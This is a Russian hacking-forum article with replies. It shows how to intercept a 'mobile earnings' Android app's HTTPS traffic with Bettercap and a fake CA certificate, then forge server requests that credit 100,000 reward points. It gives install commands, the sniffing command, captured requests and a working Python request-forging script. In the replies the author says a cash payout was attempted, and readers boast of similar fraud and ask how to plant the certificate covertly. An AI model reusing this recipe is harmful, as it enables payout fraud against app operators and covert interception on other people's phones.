Статья Халатность разработчиков приложений для "мобильного заработка"

*Здесь могло быть предупреждение о том, что не нужно пользоваться данным методом в целях совершения преступления, но вы же умные ребята, верно?*
Don't try this at home, kids.


Сегодня я хотел бы показать на примере, как халатно относятся разработчики приложений для "мобильного заработка" (заработка разработчиков, естественно) к безопасности своих программ.

Инструменты:
  1. Bettercap
    На Kali Linux:
    sudo apt-get install build-essential ruby-dev libpcap-dev
    sudo apt-get install bettercap
    На других Linux-системах:
    git clone https://github.com/evilsocket/bettercap
    cd bettercap
    gem build bettercap.gemspec
    sudo gem install bettercap*.gem
  2. VM либо телефон на android с play market

Устанавливаем приложение.

Достаточно набрать в поиске гугл плей что-то вроде "Мобильный заработок" или "Накрутка лайков вк" и т.д.
Я выбрал с картинкой посмешнее и названием поглупее.​

Поддельный сертефикат.
Большинство приложений сегодня используют https соеденение. Что бы мы могли расшифровать трафик, будем использовать поддельный сертефикат. Таковой уже имеется в Bettercap в директории /sudo/.bettercap/bettercap-ca.pem . Его нужно установить на телефон (настройки > безопасность > сертефикаты).
Начинаем снифать трафик.
В консоли компьютера пишем:
sudo bettercap -T 192.168.0.100 --proxy-https --sniffer
Где
-T - ip телефона
--proxy-https - использовать прокси с поддельным https сертефикатом для расшифровки траффика
--sniffer - запустить сниффер пакетов.
Снимок экрана из 2017-07-15 19-05-33.png
Исследуем трафик приложения.
Теперь, когда трафик отслеживается, поклацаем по разным кнопкам и попробуем выполнить задание.
Screenshot_2017-07-15-18-52-47.png
Я нашёл для себя интересными два запроса:

получил бонус
[192.168.0.100] POST %ссылка% ( text/html ) [200]

[REQUEST HEADERS]
'User-Agent' : %user_agent%
'Content-Type : application/x-www-form-urlencoded'
'Content-Length : 44'
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity

[REQUEST BODY]
userid : %user_id%
points : 100
type : Daily_Reward_v2
Выполнил задание
[192.168.0.100] POST %ссылка% ( text/html ) [200]

[REQUEST HEADERS]
User-Agent : %user_agent%
Content-Type : application/x-www-form-urlencoded
Content-Length : 40
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity

[REQUEST BODY]
username : %user_name%
points : 50
type : Vungle_Video
Создаём кастомный запрос.
Поэксперементировав с данными из полученых запросов, пишем скрипт для отправки кастомного запроса:
import requests
link = '%ссылка%'
headers = {'User-Agent' : %user_agent%,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length' : '44',
'Host' : 'url.bitcoin-miner.ru',
'Connection' : 'close',
'Accept-Encoding' : 'identity'}
payload = {'userid' : %user_id%,
'points' : 100000, # да да, можно поставить столько монет, сколько захочешь
'type' : 'Vungle_Video'}
r = requests.post(link, headers=headers, data=payload) # можно запихнуть в цикл, если бы сервис не разрешал менять колличество получаемых очков за раз.
print(r.text)
Запрос выполнился с ответом
{"result":"true","msg":"Points Updated"}
Очки начислены мне на аккаунт, это, кстати говоря, минимальная сумма выплаты (8$)
Screenshot_2017-07-15-19-04-52.png
Итог.
Гугл плей забит подобными приложениями, разработчики которых зарабатывают на желании быстрой наживы у неокрепших умов. Чаще всего, правда, создатели совсем не заботятся о безопасности своего детища. В этом случае мне пришлось поэксперементировать с запросами, но что-то мне подсказывает, что во многих подобных приложениях можно просто циклично переотправить один запрос, выдающий монетки за выполненное задание.

P.S: воровство - это плохо, но исследование трафика и накрутку лайков никто не запрещал ;)
 
КУДА ЖЕ ЕЩЕ ПОДРОБНЕЕ......
мне на конкретно одном примере, так как сам писать думаю прогу под андроид
[doublepost=1500295086,1500294578][/doublepost]
мне на конкретно одном примере, так как сам писать думаю прогу под андроид
помоешь...дай скайп
 
Выводить не пробовал? Часто на таких проектах вроде бы проверяют на нарутку при выводе средств.
 
Выводить не пробовал? Часто на таких проектах вроде бы проверяют на нарутку при выводе средств.
Пробовал, не вывели, но это скорее всего какой-то заговор (не выплачивают никому)
 
  • Нравится
Реакции: Clotinon, sinner67 и RIPLI
Пробовал, не вывели, но это скорее всего какой-то заговор (не выплачивают никому)
Помню похожим образом, с год назад на проекте OpenI, накруткой рефов и сообщений кучу бабок вывел... Эх, было круто
 
Есть решения как незаметно сертификат впарить?
 
Интересная почва для размышлений и отличная статья!)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!